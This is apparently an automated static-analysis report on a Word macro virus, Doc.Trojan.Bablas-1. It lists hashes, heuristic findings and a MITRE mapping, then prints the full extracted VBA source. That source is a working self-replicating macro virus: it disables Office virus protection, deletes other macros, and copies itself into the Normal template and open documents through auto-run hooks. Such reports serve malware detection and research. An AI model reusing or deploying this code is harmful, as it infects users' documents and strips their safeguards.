Doc.Trojan.Bablas-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 24a1520141df7be0…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-04-24 19:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fa04ca7c809e184cb79ff9e8183b8ab1 SHA-1: 4522420db832afee5ebaadd4246b9ea9b74dc85f SHA-256: 24a1520141df7be06919fb8facd5e1c37990d8fbd438a3d9b5c518286bd0e9b6
256 Risk Score

Malware Insights

Doc.Trojan.Bablas-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of malicious VBA macros, including legacy WordBasic markers and AutoOpen/AutoClose routines. The embedded VBA script contains functions like 'ShowMessage' which displays a manipulative message box, and 'Terobos' which attempts to disable virus protection. The ClamAV detection further confirms its malicious nature, identifying it as Doc.Trojan.Bablas-1.

Heuristics 6

  • ClamAV: Doc.Trojan.Bablas-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5502 bytes
SHA-256: b0380c9bd4af0601cb2816d2d2ecdacb984a50feefc1ceab02d609ec4a5bbcad
Detection
ClamAV: Doc.Trojan.Bablas-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SANTO"
'Andai saja dia tahu gue sayang banget ama dia (Aries)
'mungkin gue 'nggak bakalan buat program kayak gini
'yang mungkin nyebelin
'salam manis dari Iiq

Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Maafin gue..mungkin lo sadar bahwa gue amat sayang ame lo" & Chr(34) & _
    "makasich" & Chr(34) & "," & Chr(13) & "moga aza lo-lo pade tao gitchu..." & Chr(13) & _
    "sekarang bukan waktunya bingung, pokoke terusin azech." & Chr(13) & _
    "Sekali lagi gue ucapin muakasich buanget!." & Chr(13) & Chr(13) & "salam dari..: SANTO ANTHONIUS." & _
    Chr(13) & "(buat temen-temen, ma'af mengganggu.)", vbOKOnly + vbExclamation, "Broken Hate : IIQ")
    End If
End Sub

Sub Terobos()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    If InputBox("Masukin Kata Sandinya..!", "Santo Anthonius ") = "IIQ NU KASEP THEA" Then Application.ShowVisualBasicEditor = True
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Ochang Euy..." & Chr(13) & Chr(13) & _
    "Gue enggak mao komputer gue ERROR, but maapin gue", vbOKOnly + vbExclamation, "Santo Anthonius ")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Terobos
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Santo Anthonius Macros telah aktif di file anda "
    ActiveWindow.Caption = "(maapin santo)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Santo Anthonius ") = "*ArrA*" Then Application.ShowVisualBasicEditor = True
End Sub

Sub TimpahDokumen()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "SANTO" Then DocOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Santo Anthonius  From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="SANTO", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub TimpahTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "SANTO" Then NorOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Santo Anthonius  From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="SANTO", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        TimpahDokumen
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Terobos
    ChangeCap
    TimpahTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    TimpahDokumen
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        TimpahDokumen
        TimpahTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Musnahkan()
    c = Documents.Count
    If c <> 0 Then
        Normal.SANTO.TimpahDokumen
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.SANTO.Musnahkan"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Terobos
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.SANTO.Musnahkan"
End Sub